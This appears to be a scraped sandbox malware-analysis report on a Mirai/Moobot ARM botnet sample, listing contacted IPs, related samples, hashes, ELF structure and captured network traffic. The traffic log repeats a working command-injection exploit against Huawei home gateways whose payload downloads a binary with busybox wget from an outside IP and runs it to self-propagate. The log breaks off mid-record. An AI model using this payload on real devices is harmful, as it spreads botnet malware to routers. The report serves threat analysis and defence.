65.57.248.234	unknown	United States	3356	LEVEL3US	false
197.91.90.142	unknown	South Africa	10474	OPTINETZA	false
157.26.73.176	unknown	Switzerland	559	SWITCHPeeringrequestspeeringswitchchEU	false
52.94.34.170	unknown	United States	16509	AMAZON-02US	false
157.133.97.20	unknown	United States	133767	SAP_DC_SYDSAPAU	false
41.186.110.52	unknown	Rwanda	36890	MTNRW-ASNRW	false
157.64.243.62	unknown	Japan	4713	OCNNTTCommunicationsCorporationJP	false
42.6.14.171	unknown	China	4837	CHINA169-BACKBONECHINAUNICOMChina169BackboneCN	false
103.200.212.32	unknown	India	24554	FIVE-NET-AS-INFivenetworkSolutionIndiaPvtLtdInternet	false
41.15.19.32	unknown	South Africa	29975	VODACOM-ZA	false
195.15.248.53	unknown	Switzerland	12350	VTX-NETWORKCH	false
197.26.118.196	unknown	Tunisia	37671	GLOBALNET-ASTN	false
147.155.176.74	unknown	United States	2640	AMESLAB-ASUS	false
41.59.48.76	unknown	Tanzania United Republic of	33765	TTCLDATATZ	false
41.16.118.250	unknown	South Africa	36994	Vodacom-VBZA	false
41.204.187.211	unknown	Kenya	36914	KENET-ASKE	false
41.216.98.154	unknown	Mauritius	37006	LiquidTelecommunicationRwandaRW	false
197.190.59.204	unknown	Ghana	37140	zain-asGH	false
79.52.33.165	unknown	Italy	3269	ASN-IBSNAZIT	false
197.172.142.207	unknown	South Africa	37168	CELL-CZA	false
197.169.124.0	unknown	South Africa	37168	CELL-CZA	false
41.178.243.125	unknown	Egypt	24863	LINKdotNET-ASEG	false
157.182.19.30	unknown	United States	12118	WVUUS	false
41.14.106.0	unknown	South Africa	29975	VODACOM-ZA	false
48.114.139.175	unknown	United States	2686	ATGS-MMD-ASUS	false
41.172.161.0	unknown	South Africa	36937	Neotel-ASZA	false
41.186.134.24	unknown	Rwanda	36890	MTNRW-ASNRW	false
197.240.178.147	unknown	unknown	37705	TOPNETTN	false
157.215.203.71	unknown	United States	4704	SANNETRakutenMobileIncJP	false
41.30.192.109	unknown	South Africa	29975	VODACOM-ZA	false
197.179.45.184	unknown	Kenya	33771	SAFARICOM-LIMITEDKE	false
157.148.116.73	unknown	China	136958	UNICOM-GUANGZHOU-IDCChinaUnicomGuangdongIPnetworkCN	false
44.69.178.83	unknown	United States	7377	UCSDUS	false
197.165.4.8	unknown	Egypt	24863	LINKdotNET-ASEG	false
157.199.162.126	unknown	United States	3356	LEVEL3US	false
157.227.77.47	unknown	Australia	4704	SANNETRakutenMobileIncJP	false
197.57.87.165	unknown	Egypt	8452	TE-ASTE-ASEG	false
52.53.47.30	unknown	United States	16509	AMAZON-02US	false
41.170.14.27	unknown	South Africa	36937	Neotel-ASZA	false
157.235.50.197	unknown	United States	33442	ZEBRA-TECHNOLOGIES-BGP-AS-NUMBERUS	false
213.152.136.246	unknown	Russian Federation	12976	AS-CITICTEL-CPC-RUSRU	false
41.2.161.208	unknown	South Africa	29975	VODACOM-ZA	false
41.165.220.171	unknown	South Africa	36937	Neotel-ASZA	false
197.116.73.74	unknown	Algeria	36947	ALGTEL-ASDZ	false
197.149.247.217	unknown	Guinea	37461	ORANGE-GN	false
197.219.199.184	unknown	Mozambique	37342	MOVITELMZ	false
41.128.101.179	unknown	Egypt	24863	LINKdotNET-ASEG	false
41.83.160.4	unknown	Senegal	8346	SONATEL-ASAutonomousSystemEU	false
197.252.28.241	unknown	Sudan	15706	SudatelSD	false
197.0.175.6	unknown	Tunisia	37705	TOPNETTN	false
200.253.203.57	unknown	Brazil	4230	CLAROSABR	false
41.61.164.251	unknown	South Africa	36943	GridhostZA	false
41.121.31.81	unknown	South Africa	16637	MTNNS-ASZA	false
191.254.28.90	unknown	Brazil	27699	TELEFONICABRASILSABR	false
41.219.218.254	unknown	unknown	36974	AFNET-ASCI	false
157.103.108.159	unknown	Japan	17676	GIGAINFRASoftbankBBCorpJP	false
197.117.143.3	unknown	Algeria	36947	ALGTEL-ASDZ	false
43.130.226.197	unknown	Japan	4249	LILLY-ASUS	false
150.216.41.165	unknown	United States	10952	ECU-ASUS	false
157.182.56.48	unknown	United States	12118	WVUUS	false
41.230.50.182	unknown	Tunisia	37705	TOPNETTN	false
140.3.15.234	unknown	United States	724	DNIC-ASBLK-00721-00726US	false
91.69.123.87	unknown	France	15557	LDCOMNETFR	false
41.73.35.1	unknown	South Africa	37105	NEOLOGY-ASZA	false
157.182.20.18	unknown	United States	12118	WVUUS	false
197.46.254.229	unknown	Egypt	8452	TE-ASTE-ASEG	false
197.225.3.150	unknown	Mauritius	23889	MauritiusTelecomMU	false
122.155.108.74	unknown	Thailand	9931	CAT-APTheCommunicationAuthoityofThailandCATTH	false
41.91.123.171	unknown	Egypt	33771	SAFARICOM-LIMITEDKE	false
41.206.191.208	unknown	South Africa	6453	AS6453US	false
157.179.102.235	unknown	Thailand	15337	WRHARPERUS	false
157.88.4.109	unknown	Spain	766	REDIRISRedIRISAutonomousSystemES	false
41.145.34.29	unknown	South Africa	5713	SAIX-NETZA	false
36.118.123.10	unknown	China	4847	CNIX-APChinaNetworksInter-ExchangeCN	false
197.69.47.13	unknown	South Africa	16637	MTNNS-ASZA	false
197.246.153.219	unknown	Egypt	20928	NOOR-ASEG	false
83.82.63.167	unknown	Netherlands	33915	TNF-ASNL	false
197.127.220.238	unknown	Egypt	36992	ETISALAT-MISREG	false
41.25.93.131	unknown	South Africa	36994	Vodacom-VBZA	false
197.112.75.140	unknown	Algeria	36947	ALGTEL-ASDZ	false

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
197.12.117.149	SCACB5yGgD.elf	Get hash	malicious	Mirai	Browse
	7xt7YvcLod.elf	Get hash	malicious	Mirai	Browse
	x86	Get hash	malicious	Mirai	Browse
	AD75MXcR1q	Get hash	malicious	Mirai	Browse
144.159.187.148	chKnoWD1q5.elf	Get hash	malicious	Mirai	Browse
144.159.187.148	vQH6Lh9qnd	Get hash	malicious	Mirai	Browse
197.56.113.117	x86_64.elf	Get hash	malicious	Mirai, Moobot	Browse
197.114.168.190	XO9yrA8GlB.elf	Get hash	malicious	Mirai	Browse
197.114.168.190	log21.x86_64.elf	Get hash	malicious	Mirai, Moobot	Browse
157.145.68.62	xN4xCfDzIx.elf	Get hash	malicious	Mirai, Moobot	Browse
41.140.211.100	vwmbfKCK73.elf	Get hash	malicious	Mirai	Browse
197.59.229.29	arm7-20230428-2150.elf	Get hash	malicious	Mirai	Browse
197.59.229.29	aaSAs2iRWv.elf	Get hash	malicious	Mirai	Browse
197.2.168.177	atqD68f5tn.elf	Get hash	malicious	Mirai	Browse
101.205.100.101	YMACGUfVYR	Get hash	malicious	Mirai	Browse
41.74.239.187	o0c7FkGyUI.elf	Get hash	malicious	Mirai, Moobot	Browse
	OPwRFl3SYI.elf	Get hash	malicious	Mirai, Moobot	Browse
	arm7	Get hash	malicious	Mirai	Browse
41.157.66.12	PJ0ujIJjMc.elf	Get hash	malicious	Mirai, Moobot	Browse

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
bn.networkbn.click	zpbWkmw0VY.elf	Get hash	malicious	Mirai, Moobot	Browse	103.14.225.191
	BqGE57kqQq.elf	Get hash	malicious	Mirai, Moobot	Browse	103.14.225.191
	s733gyCw41.elf	Get hash	malicious	Mirai, Moobot	Browse	103.14.225.191
	yJD0izAidI.elf	Get hash	malicious	Mirai, Moobot	Browse	103.14.225.191
	x86.elf	Get hash	malicious	Mirai, Moobot	Browse	103.14.225.191
	mpsl.elf	Get hash	malicious	Mirai, Moobot	Browse	103.14.225.191
	x86_64.elf	Get hash	malicious	Mirai, Moobot	Browse	103.14.225.191
	arm.elf	Get hash	malicious	Mirai, Moobot	Browse	103.14.225.191
	arm7.elf	Get hash	malicious	Mirai, Moobot	Browse	103.14.225.191
	mips.elf	Get hash	malicious	Mirai, Moobot	Browse	103.14.225.191

Process:	/tmp/arm7.elf
File Type:	data
Category:	dropped
Size (bytes):	14
Entropy (8bit):	3.521640636343319
Encrypted:	false
SSDEEP:	3:TgiLG:TgiC
MD5:	451AC90F7FA61D0393D6A5A02158D369
SHA1:	5A7D458802462B80F94A9CDA24E2C877437A8E34
SHA-256:	E2D543300D643CEF7698E750F74E8499993E346EF765FA2061EB5DFAF8D77E48
SHA-512:	EF1D000F5B8BB5AFD4F6CB347FBE0FA0E97608B8C3839B6B44CB9828E5522396B334AE37148FCD2064A423B3DDD0C8874EF7019023A84B36E3893E50353F06FE
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	/tmp/arm7.elf.

File type:	ELF 32-bit LSB executable, ARM, EABI4 version 1 (SYSV), statically linked, with debug_info, not stripped
Entropy (8bit):	6.0025534970135705
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	arm7.elf
File size:	153'008 bytes
MD5:	372152ecc87d00e192ac00160b4145b2
SHA1:	b4e356abfafe613b51d7ae5e522d2de97e9a744b
SHA256:	9ab3c796addbb1388d08321bffd7d11b5f9ed8d27bab60113ced7387fe59ccf0
SHA512:	29cd5a033c4bbf4a541af709e178c49a156e90eeb472d83cc390ac4c4edfabba20e5a2553cf3b3ce11aa0c5022acb83c62a3e9d02d9dbb8fc6e37723b6e9bd6e
SSDEEP:	3072:+q853fk3TgIrHaGnG6o4nnvlNyp43AKu2v+vtM/9Ck+:+q858DjTaGnG6o4nvlLQr2v+lM/90
TLSH:	42E32956FA804B13C0D61779B6EF424533239BA493DB73069928BFB43F8679B4E23905
File Content Preview:	.ELF..............(.........4...X.......4. ...(........pPe..P...P... ... ...........................pf..pf..............pf..pf..pf.......3..............tf..tf..tf..................Q.td..................................-...L..................@-.,@...0....S

ELF header
Class:	ELF32
Data:	2's complement, little endian
Version:	1 (current)
Machine:	ARM
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	UNIX - System V
ABI Version:	0
Entry Point Address:	0x8194
Flags:	0x4000002
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	5
Section Header Offset:	119384
Section Header Size:	40
Number of Section Headers:	29
Header String Table Index:	26

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report arm7.elf

Overview

General Information

Detection

Signatures

Classification

Analysis Advice

General Information

Warnings

Runtime Messages

Process Tree

Malware Threat Intel

Yara Signatures

Initial Sample

Memory Dumps

Snort Signatures

Joe Sandbox Signatures

AV Detection

Spreading

Networking

System Summary

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

/tmp/qemu-open.06TRsL (deleted)

/tmp/qemu-open.06m16L (deleted)

/tmp/qemu-open.09EqFK (deleted)

/tmp/qemu-open.0E3K9M (deleted)

/tmp/qemu-open.0GyfLK (deleted)

/tmp/qemu-open.0LWvMN (deleted)

/tmp/qemu-open.0MB9mN (deleted)

/tmp/qemu-open.0PVaSO (deleted)

/tmp/qemu-open.0SjhjL (deleted)

/tmp/qemu-open.0T1XDM (deleted)

/tmp/qemu-open.0TztWN (deleted)

/tmp/qemu-open.0WZdHL (deleted)

/tmp/qemu-open.0Y4hLL (deleted)

/tmp/qemu-open.0Ycf2K (deleted)

/tmp/qemu-open.0aOIDL (deleted)

/tmp/qemu-open.0h5FJO (deleted)

/tmp/qemu-open.0p56DO (deleted)

/tmp/qemu-open.0tiyoK (deleted)

/tmp/qemu-open.0yZNJK (deleted)

/tmp/qemu-open.0yl4EO (deleted)

/tmp/qemu-open.11AjhM (deleted)

/tmp/qemu-open.15Y16N (deleted)

/tmp/qemu-open.1D9WDK (deleted)

/tmp/qemu-open.1GOMvN (deleted)

/tmp/qemu-open.1GS4AK (deleted)

Linux Analysis Report
arm7.elf

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Link	Info	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0	0	0
.init	PROGBITS	0x80d4	0xd4	0x10	0x0	0x6	AX	0	0	4
.text	PROGBITS	0x80f0	0xf0	0x142e4	0x0	0x6	AX	0	0	16
.fini	PROGBITS	0x1c3d4	0x143d4	0x10	0x0	0x6	AX	0	0	4
.rodata	PROGBITS	0x1c3e8	0x143e8	0x2150	0x0	0x2	A	0	0	8
.ARM.extab	PROGBITS	0x1e538	0x16538	0x18	0x0	0x2	A	0	0	4
.ARM.exidx	ARM_EXIDX	0x1e550	0x16550	0x120	0x0	0x82	AL	2	0	4
.eh_frame	PROGBITS	0x26670	0x16670	0x4	0x0	0x3	WA	0	0	4
.tbss	NOBITS	0x26674	0x16674	0x8	0x0	0x403	WAT	0	0	4
.init_array	INIT_ARRAY	0x26674	0x16674	0x4	0x0	0x3	WA	0	0	4
.fini_array	FINI_ARRAY	0x26678	0x16678	0x4	0x0	0x3	WA	0	0	4
.jcr	PROGBITS	0x2667c	0x1667c	0x4	0x0	0x3	WA	0	0	4
.got	PROGBITS	0x26680	0x16680	0xa8	0x4	0x3	WA	0	0	4
.data	PROGBITS	0x26728	0x16728	0x2d4	0x0	0x3	WA	0	0	4
.bss	NOBITS	0x269fc	0x169fc	0x3024	0x0	0x3	WA	0	0	4
.comment	PROGBITS	0x0	0x169fc	0xbd4	0x0	0x0		0	0	1
.debug_aranges	PROGBITS	0x0	0x175d0	0x140	0x0	0x0		0	0	8
.debug_pubnames	PROGBITS	0x0	0x17710	0x213	0x0	0x0		0	0	1
.debug_info	PROGBITS	0x0	0x17923	0x2043	0x0	0x0		0	0	1
.debug_abbrev	PROGBITS	0x0	0x19966	0x6e2	0x0	0x0		0	0	1
.debug_line	PROGBITS	0x0	0x1a048	0xe76	0x0	0x0		0	0	1
.debug_frame	PROGBITS	0x0	0x1aec0	0x2b8	0x0	0x0		0	0	4
.debug_str	PROGBITS	0x0	0x1b178	0x8ca	0x1	0x30	MS	0	0	1
.debug_loc	PROGBITS	0x0	0x1ba42	0x118f	0x0	0x0		0	0	1
.debug_ranges	PROGBITS	0x0	0x1cbd1	0x558	0x0	0x0		0	0	1
.ARM.attributes	ARM_ATTRIBUTES	0x0	0x1d129	0x16	0x0	0x0		0	0	1
.shstrtab	STRTAB	0x0	0x1d13f	0x117	0x0	0x0		0	0	1
.symtab	SYMTAB	0x0	0x1d6e0	0x5480	0x10	0x0		28	776	4
.strtab	STRTAB	0x0	0x22b60	0x2a50	0x0	0x0		0	0	1

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
EXIDX	0x16550	0x1e550	0x1e550	0x120	0x120	4.5023	0x4	R	0x4	.ARM.exidx
LOAD	0x0	0x8000	0x8000	0x16670	0x16670	6.1702	0x5	R E	0x8000	.init .text .fini .rodata .ARM.extab .ARM.exidx
LOAD	0x16670	0x26670	0x26670	0x38c	0x33b0	4.2220	0x6	RW	0x8000	.eh_frame .tbss .init_array .fini_array .jcr .got .data .bss
TLS	0x16674	0x26674	0x26674	0x0	0x8	0.0000	0x4	R	0x4	.tbss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x7	RWE	0x4

Timestamp	Bytes transferred	Direction	Data
Mar 17, 2024 03:12:35.829181910 CET	813	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 456 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 37 32 2e 37 39 2e 37 34 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.172.79.74 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Mar 17, 2024 03:12:36.726950884 CET	813	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 456 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 37 32 2e 37 39 2e 37 34 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.172.79.74 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Mar 17, 2024 03:12:37.782917976 CET	813	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 456 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 37 32 2e 37 39 2e 37 34 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.172.79.74 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Mar 17, 2024 03:12:39.926808119 CET	813	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 456 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 37 32 2e 37 39 2e 37 34 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.172.79.74 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Mar 17, 2024 03:12:44.278640032 CET	813	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 456 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 